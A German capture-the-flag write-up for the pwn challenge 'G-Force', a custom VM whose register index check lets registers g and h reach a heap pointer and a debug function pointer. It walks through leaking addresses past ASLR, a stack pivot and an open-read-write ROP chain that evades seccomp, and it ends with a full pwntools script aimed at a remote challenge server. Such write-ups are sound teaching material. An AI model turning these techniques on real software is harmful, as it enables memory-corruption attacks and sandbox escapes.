Files
HIP7CTF_Writeups/de/g_force.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

458 lines
17 KiB
Markdown

# Write-up: G-Force
**Kategorie:** Pwn
**Schwierigkeitsgrad:** Schwer
**Beschreibung:** Eine benutzerdefinierte JIT-kompilierte VM mit einer sicheren Sandbox und Inhaltsfilterung.
In dieser Challenge werden wir mit einer benutzerdefinierten Virtual Machine namens "G-Force" konfrontiert. Das Binary ist statisch gelinkt und "stripped" (ohne Symbole), was das Reverse Engineering etwas aufwändiger macht. Uns wird mitgeteilt, dass es einen JIT-Compiler und einen "sicheren, in einer Sandbox isolierten Speicherbereich" hat.
---
## 1. Initiale Analyse
Wir beginnen mit der Untersuchung des bereitgestellten Binaries `g_forcevm`.
```bash
$ file g_forcevm
g_forcevm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped
```
Es ist eine **Static PIE** Executable. Das bedeutet, dass sie alle ihre Abhängigkeiten enthält (keine externe libc), aber positionsunabhängig ist (ASLR ist aktiv). Sie ist außerdem **stripped**, wir haben also keine Funktionsnamen.
Wenn wir das Binary ausführen, werden wir mit einem Prompt und einem Hilfemenü begrüßt:
```text
--- G-FORCE VM v2.0 (Final) ---
4KB Secure Sandbox. Type 'help' for instructions.
> help
--- G-Force Instruction Set ---
General:
MOVI R, IMM : Load immediate value into Register R
MOVR R1, R2 : Copy value from R2 to R1
...
Meta Commands:
execute : Compile and run the current program buffer
info : Dump current CPU state
ram OFF LEN : Hex dump of RAM at offset
debug : Run debug logger
...
```
## 2. Reverse Engineering
Mithilfe von Ghidra analysieren wir das Binary, um die interne Struktur der VM zu verstehen und herauszufinden, wie sie Befehle verarbeitet.
### Die VM-Struktur & das Stack-Layout
Bei der Analyse der `main`-Funktion (dekompiliert an Adresse `0x0010ba79`) können wir die Variablen identifizieren, die zur Speicherung des CPU-Status verwendet werden.
```c
undefined8 FUN_0010ba79(void)
{
// ...
undefined1 local_20d8 [40];
undefined8 local_20b0;
undefined8 local_20a8;
code *local_20a0;
undefined1 local_2098 [8192];
// ...
// Initialisierung
thunk_FUN_0012dff0(local_20d8,0,0x40); // memset
// RAM-Allokation
// FUN_0012ac00 ist wahrscheinlich malloc (oder ein Wrapper).
// 0x1000 = 4096 Bytes (4KB)
local_20a8 = FUN_0012ac00(0x1000);
// Initialisierung des Debug-Funktionszeigers
local_20a0 = FUN_00109a22;
// Hauptschleife
while( true ) {
// ... Befehls-Parsing ...
iVar2 = thunk_FUN_0012d150(uVar4,"debug");
if (iVar2 == 0) {
// VERWUNDBARER AUFRUF
(*local_20a0)(local_20a8);
}
else {
iVar2 = thunk_FUN_0012d150(uVar4,"execute");
if (iVar2 == 0) {
FUN_00115f80("[*] Compiling %d ops...\n",local_20f8);
FUN_0010a2b8(local_20d8,local_2098,local_20f8);
// ...
}
}
}
}
```
Wir sehen, dass `local_20d8` ein Array von 40 Bytes ist. Dies hält höchstwahrscheinlich die Register (A, B, C, D, SP).
Wir sehen, dass `local_20a0` ein Funktionszeiger ist, der auf `0x00109a22` (den Standard-Logger) initialisiert wird.
Betrachten wir das Speicher-Layout auf dem Stack genauer:
* `local_20d8` (Register) beginnt am Offset `-0x20d8`.
* `local_20a8` (RAM-Zeiger) beginnt am Offset `-0x20a8`.
* `local_20a0` (Func Ptr) beginnt am Offset `-0x20a0`.
Der Abstand zwischen dem Register-Array und dem RAM-Zeiger beträgt `0x20d8 - 0x20a8 = 0x30`, was **48 Bytes** entspricht.
Der Abstand zwischen dem Register-Array und dem Funktionszeiger beträgt `0x20d8 - 0x20a0 = 0x38`, was **56 Bytes** entspricht.
### Bestätigung des Layouts über `info`
Um zu bestätigen, dass `local_20d8` tatsächlich die Register enthält, können wir die Funktion untersuchen, die für den `info`-Befehl verantwortlich ist (in Ghidra als `FUN_00109cbe` bezeichnet).
```c
void FUN_00109cbe(undefined8 *param_1)
{
FUN_0011d2b0("\n--- CPU STATE ---");
FUN_00115f80("Reg A: 0x%016lx | Reg B: 0x%016lx\n",*param_1,param_1[1]);
FUN_00115f80("Reg C: 0x%016lx | Reg D: 0x%016lx\n",param_1[2],param_1[3]);
FUN_00115f80("SP : 0x%016lx\n",param_1[5]);
FUN_0011d2b0("-----------------");
return;
}
```
Diese Funktion nimmt einen Zeiger auf `local_20d8` als Argument entgegen.
* `param_1[0]` entspricht **Register A** (Offset 0).
* `param_1[1]` entspricht **Register B** (Offset 8).
* `param_1[2]` entspricht **Register C** (Offset 16).
* `param_1[3]` entspricht **Register D** (Offset 24).
* `param_1[5]` entspricht **SP** (Offset 40).
Die Tatsache, dass `info` diese Werte direkt aus dem Array `local_20d8` druckt, bestätigt, dass dieser Speicherbereich das Register-File der CPU repräsentiert.
### Rekonstruktion der CPU-Struktur
Basierend auf dem Speicher-Layout und der `info`-Funktion können wir die interne `CPU`-Struktur der VM auf dem Stack rekonstruieren:
```c
struct CPU_Stack_Layout {
uint64_t regs[4]; // Offset 0x00: Register A, B, C, D
uint64_t PC; // Offset 0x20: Program Counter / reserviert
uint64_t SP; // Offset 0x28: Stack Pointer (Offset 40)
uint8_t *ram; // Offset 0x30: Zeiger auf VM-RAM (Offset 48)
void (*debug_log)(char*); // Offset 0x38: Funktionszeiger für den 'debug'-Befehl (Offset 56)
};
```
Dies passt perfekt zu unserem rekonstruierten Layout!
### Die Schwachstelle: Out-of-Bounds Registerzugriff
Der Befehls-Parser wandelt Registernamen in Indizes um.
- `a` -> 0
- `b` -> 1
- `c` -> 2
- `d` -> 3
Jedoch erlaubt die Validierungsfunktion `FUN_001099bf` Buchstaben bis hin zu `h`!
```c
int FUN_001099bf(char *param_1)
{
// ...
if ((*param_1 < 'a') || ('h' < *param_1)) {
iVar1 = -1;
}
else {
iVar1 = *param_1 + -0x61;
}
// ...
return iVar1;
}
```
Wenn wir Register **`g`** (Index 6) verwenden:
`Adresse = local_20d8 + (6 * 8) = local_20d8 + 48` -> Dies greift auf den `ram`-Zeiger zu.
Wenn wir Register **`h`** (Index 7) verwenden:
`Adresse = local_20d8 + (7 * 8) = local_20d8 + 56` -> Dies greift auf den `debug_log`-Funktionszeiger zu!
Dies gibt uns zwei mächtige Primitive:
1. **Arbitrary Read (Leak):** `MOVR a, h` liest den Funktionszeiger in das Register `a`. Wir können ihn uns dann über `info` ansehen, um die ASLR-Basisadresse zu leaken. Auf ähnliche Weise leakt `MOVR b, g` die Heap-Basis.
2. **Control Flow Hijack (Kontrollflussübernahme):** `MOVI h, <ADDR>` ermöglicht es uns, den Funktionszeiger mit einer beliebigen Adresse unserer Wahl zu überschreiben.
### Der "Debug"-Befehl
Der `debug`-Befehl ruft die Funktion auf, die in `local_20a0` (Register `h`) gespeichert ist. Er übergibt den RAM-Zeiger (Register `g`) als erstes Argument (`rdi`).
```c
// Pseudo-Code für den debug-Befehl
if (cmd == "debug") {
// local_20a0 zeigt standardmäßig auf default_logger
// Wenn wir local_20a0 überschreiben, kontrollieren wir die Ausführung.
// Das erste Argument (RDI) ist immer der RAM-Zeiger (local_20a8).
(*local_20a0)(local_20a8);
}
```
## 3. Ausnutzungsstrategie: Der Schlachtplan
Um das System vollständig zu kompromittieren, müssen wir ASLR umgehen. Da ein Seccomp-Filter eingerichtet ist, müssen wir eine Read/Write/Open-ROP-Chain verwenden, anstatt einfach eine Shell aufzurufen.
### Entdeckung der Seccomp-Sandbox
Während der Analyse des Binaries stoßen wir auf eine Funktion `FUN_0010b918`, die früh in `main` aufgerufen wird. Das Dekompilieren dieser Funktion offenbart, wie die in der Beschreibung erwähnte "sichere Sandbox" implementiert ist:
```c
void FUN_0010b918(void)
{
// ...
iVar1 = FUN_001636b0(0x26,1,0,0,0);
if (iVar1 != 0) {
FUN_001161b0("prctl(NO_NEW_PRIVS)");
FUN_00115450(1);
}
iVar1 = FUN_001636b0(0x16,2,local_68);
if (iVar1 != 0) {
FUN_001161b0("prctl(SECCOMP)");
FUN_00115450(1);
}
// ...
}
```
Die Funktion `FUN_001636b0` ist ein Wrapper um den `prctl`-Syscall.
1. **`prctl(PR_SET_NO_NEW_PRIVS, 1, ...)`**: Dies wird mit `option = 38` (`0x26`) aufgerufen, was `PR_SET_NO_NEW_PRIVS` entspricht. Dies verhindert, dass der Prozess (und seine Kindprozesse) neue Privilegien erlangt, wodurch `setuid`/`setgid`-Binaries deaktiviert werden.
2. **`prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...)`**: Dies wird mit `option = 22` (`0x16`) aufgerufen, was `PR_SET_SECCOMP` entspricht. Das zweite Argument `2` spezifiziert `SECCOMP_MODE_FILTER`. Dies wendet ein BPF-Programm (Berkeley Packet Filter) an, um einzuschränken, welche Systemaufrufe der Prozess tätigen darf.
Wegen dieses Seccomp-Filters werden Standard-Ausnutzungstechniken wie der Aufruf von `system("/bin/sh")` oder die Ausführung eines `execve`-Shellcodes fehlschlagen (der Kernel würde den Prozess beenden). Stattdessen müssen wir eine **Open-Read-Write (ORW)** ROP-Chain verwenden, um die Flag-Datei explizit zu öffnen, ihren Inhalt in den Speicher zu lesen und auf die Standardausgabe (stdout) zu schreiben.
### Schritt 1: Adressen leaken (ASLR umgehen)
Da das Binary positionsunabhängig ist (PIE), sind alle Code-Adressen randomisiert. Wir müssen herausfinden, wo sich der Code im Speicher befindet.
1. **Code-Adresse leaken:** Wir kopieren den Funktionszeiger in das Register `a` (`MOVR a, h`).
2. **Heap-Adresse leaken:** Wir kopieren den RAM-Zeiger in das Register `b` (`MOVR b, g`).
3. **Den Leak auslesen:** Wir führen diese Befehle aus und verwenden den VM-Befehl `info`, um `Reg A` und `Reg B` auszulesen. Indem wir den bekannten statischen Offset der Logger-Funktion (`0x00109a22`) von `Reg A` abziehen, berechnen wir die **Basisadresse** des Binaries.
### Schritt 2: Die ROP-Chain konstruieren und im RAM platzieren
Wir müssen den `syscall` aufrufen (Linux x64 ABI). Die Aufrufkonvention lautet:
* `RAX` = System Call Nummer
* `RDI` = Argument 1
* `RSI` = Argument 2
* `RDX` = Argument 3
Hier ist, wie jeder Befehl in der Kette konstruiert ist:
#### 1. `open("./flag.txt", 0)`
* `pop rdi; ret` -> `ADDR_OF_STRING` (Zeiger auf "flag.txt\0")
* `pop rsi; ret` -> `0` (O_RDONLY)
* `pop rax; ret` -> `2` (SYS_open)
* `syscall; ret`
#### 2. `read(3, buffer, 0x100)`
* `pop rdi; ret` -> `3` (File Descriptor, normalerweise 3, da 0/1/2 Standard sind)
* `pop rsi; ret` -> `ADDR_OF_BUFFER` (Zeiger auf beschreibbaren Speicher, z. B. Offset 0x300 im RAM)
* `pop rdx; ret` -> `0x100` (Anzahl zu lesender Bytes)
* `pop rax; ret` -> `0` (SYS_read)
* `syscall; ret`
#### 3. `write(1, buffer, 0x100)`
* `pop rdi; ret` -> `1` (stdout)
* `pop rsi; ret` -> `ADDR_OF_BUFFER` (Zeiger darauf, wo wir das Flag eingelesen haben)
* `pop rdx; ret` -> `0x100` (Anzahl zu schreibender Bytes)
* `pop rax; ret` -> `1` (SYS_write)
* `syscall; ret`
**Im RAM platzieren:** Wir schreiben diese gesamte Kette von 64-Bit-Ganzzahlen unter Verwendung des VM-Befehls `SAVER` in den VM-RAM (beginnend bei Offset 0).
### Schritt 3: Den Pivot finden
Wir haben eine ROP-Chain, die im Heap liegt (VM-RAM), aber die CPU verwendet den echten Stack. Wir müssen den `RSP` (Stack Pointer) auf unseren RAM zeigen lassen, damit die CPU beginnt, unsere Chain auszuführen.
1. **Das Pivot-Gadget finden:** Wir identifizieren ein "Stack Pivot"-Gadget. Die Verwendung von `ROPgadget` auf dem Binary offenbart ein perfektes Gadget: `mov rsp, rdi; ret` beim Offset `0x000099b8`.
2. **Warum dieses Gadget?** Wenn der `debug`-Befehl aufgerufen wird, ist das erste Argument (`RDI`) ein Zeiger auf den VM-RAM (Register `g`).
3. **Der Auslöser (Trigger):** Wenn wir zu diesem Gadget springen, wird es `RDI` (den RAM-Zeiger) in `RSP` kopieren. Das anschließende `ret` popt dann die ersten 8 Bytes unseres RAMs in den `RIP` und startet so die ROP-Chain.
### Schritt 4: Den Funktionszeiger überschreiben
Da die ROP-Chain nun im RAM platziert ist und wir die Adresse unseres Pivot-Gadgets haben, müssen wir den Ausführungsfluss umleiten.
1. **Ziel Register H:** Das Schreiben in das Register `h` überschreibt den Funktionszeiger `debug_log`.
2. **Die Payload:** Wir verwenden `MOVI h, <ADDR_OF_PIVOT>`, um die Standard-Logger-Adresse durch die Adresse unseres Stack-Pivot-Gadgets zu ersetzen.
### Schritt 5: Die Chain auslösen
Der letzte Schritt ist die Ausführung des gehijackten Funktionszeigers.
1. **Der Trigger-Befehl:** Wir tippen `execute`, um unsere Writer-Befehle zu kompilieren, und führen dann `debug` aus.
2. **Ausführungsfluss:**
* Die `main`-Schleife ruft den Funktionszeiger auf, der in Register `h` steht.
* Da wir ihn überschrieben haben, springt er zu `mov rsp, rdi; ret`.
* `RDI` enthält den RAM-Zeiger, sodass `RSP` zum RAM-Zeiger wird.
* Die CPU führt `ret` aus und popt das erste Gadget aus unserer ROP-Chain im RAM.
* Die Kette führt `open`, `read` und `write` aus und gibt das Flag auf unserer Konsole aus!
## 4. Das Lösungs-Skript
Hier ist das vollständige Skript `solve.py`. Es automatisiert das Leaken, die Berechnung und die Übermittlung der Payload.
```python
#!/usr/bin/env python3
from pwn import *
# =============================================================================
# KONFIGURATION
# =============================================================================
OFFSET_DEFAULT_LOG = 0x00109a22
HOST = '87.106.77.47'
PORT = 1378
# Kontext setzen (wird noch zum packen/entpacken benötigt)
exe = './g_forcevm'
elf = ELF(exe, checksec=False)
context.binary = elf
context.log_level = 'info'
def start():
# [ÄNDERUNG] remote() anstelle von process() verwenden
return remote(HOST, PORT)
p = start()
def send_cmd(cmd):
p.sendline(cmd.encode())
def wait_prompt():
return p.recvuntil(b"> ")
log.info(f"--- G-Force Payload Builder (Ziel: {HOST}:{PORT}) ---")
wait_prompt()
# -----------------------------------------------------------------------------
# SCHRITT 1: LIVE LEAK
# -----------------------------------------------------------------------------
log.info("SCHRITT 1: Adressen leaken...")
send_cmd("movr a, h")
wait_prompt()
send_cmd("movr b, g")
wait_prompt()
send_cmd("saver a, 0")
wait_prompt()
send_cmd("saver b, 8")
wait_prompt()
send_cmd("execute")
wait_prompt()
# Leaks auslesen
send_cmd("ram 0 16")
p.recvuntil(b"0000: ")
dump_line = p.recvline().decode().strip().split()
wait_prompt()
bytes_all = [int(b, 16) for b in dump_line]
leak_logger = 0
for i in range(8):
leak_logger += bytes_all[i] << (i*8)
leak_heap = 0
for i in range(8):
leak_heap += bytes_all[8+i] << (i*8)
binary_base = leak_logger - OFFSET_DEFAULT_LOG
addr_farm = leak_logger - 0x75
# Gadgets
addr_pop_rdi = addr_farm + 0
addr_pop_rsi = addr_farm + 2
addr_pop_rdx = addr_farm + 4
addr_pop_rax = addr_farm + 6
addr_syscall = addr_farm + 8
addr_pivot = addr_farm + 11
log.success(f" Geleakter Logger: {hex(leak_logger)}")
log.success(f" Geleakter Heap: {hex(leak_heap)}")
log.success(f" Basisadresse: {hex(binary_base)}")
log.success(f" Addr Farm: {hex(addr_farm)}")
# -----------------------------------------------------------------------------
# SCHRITT 2: CHAIN KONSTRUIEREN
# -----------------------------------------------------------------------------
log.info("SCHRITT 2: ROP Chain konstruieren...")
chain = [
# --- OPEN("./flag.txt", 0, 0) ---
addr_pop_rdi,
leak_heap + 0x200, # Zeiger auf "./flag.txt"
addr_pop_rsi,
0,
addr_pop_rdx,
0,
addr_pop_rax,
2,
addr_syscall,
# --- READ(3, buffer, 100) ---
addr_pop_rdi,
3,
addr_pop_rsi,
leak_heap + 0x300, # Zeiger auf Buffer
addr_pop_rdx,
100,
addr_pop_rax,
0,
addr_syscall,
# --- WRITE(1, buffer, 64) ---
addr_pop_rdi,
1,
addr_pop_rsi,
leak_heap + 0x300,
addr_pop_rdx,
35,
addr_pop_rax,
1,
addr_syscall,
# --- EXIT(0) ---
addr_pop_rdi,
0,
addr_pop_rax,
60,
addr_syscall,
]
# Chain senden
i = 0
while i < len(chain):
send_cmd(f"movi a,{hex(chain[i])}")
wait_prompt()
send_cmd(f"saver a,{hex(i*8)}")
wait_prompt()
i = i+1
# String "./flag.txt" bei Offset 0x200 senden
flag_str = b'./flag.txt\0'
for i in range(0, len(flag_str), 8):
chunk = flag_str[i:i+8].ljust(8, b'\0')
val = u64(chunk)
send_cmd(f"movi a, {hex(val)}")
wait_prompt()
send_cmd(f"saver a,{0x200 + i}")
wait_prompt()
# Platzierung der Chain ausführen
send_cmd("execute")
p.recvuntil(b"> ")
send_cmd("ram 0x00 0x30")
p.recvuntil(b"> ")
log.success(f" ROP Chain platziert")
# -----------------------------------------------------------------------------
# SCHRITT 3: ARM & TRIGGER
# -----------------------------------------------------------------------------
log.info("SCHRITT 3: Scharfschalten...")
send_cmd(f"movi h,{hex(addr_pivot)}")
wait_prompt()
send_cmd(f"execute")
p.recvuntil(b"> ")
log.success(f" Scharfgeschaltet")
log.info("Wird ausgeführt...")
send_cmd(f"debug")
try:
# recvall ist hier essenziell, da die Gegenseite die Verbindung nach exit() schließt
output = p.recvall(timeout=3)
print("\n" + "="*50)
print("FINALE AUSGABE:")
print(output.decode(errors='ignore'))
print("="*50)
except Exception as e:
log.error(f"Fehler beim Empfangen des Flags: {e}")
p.close()
```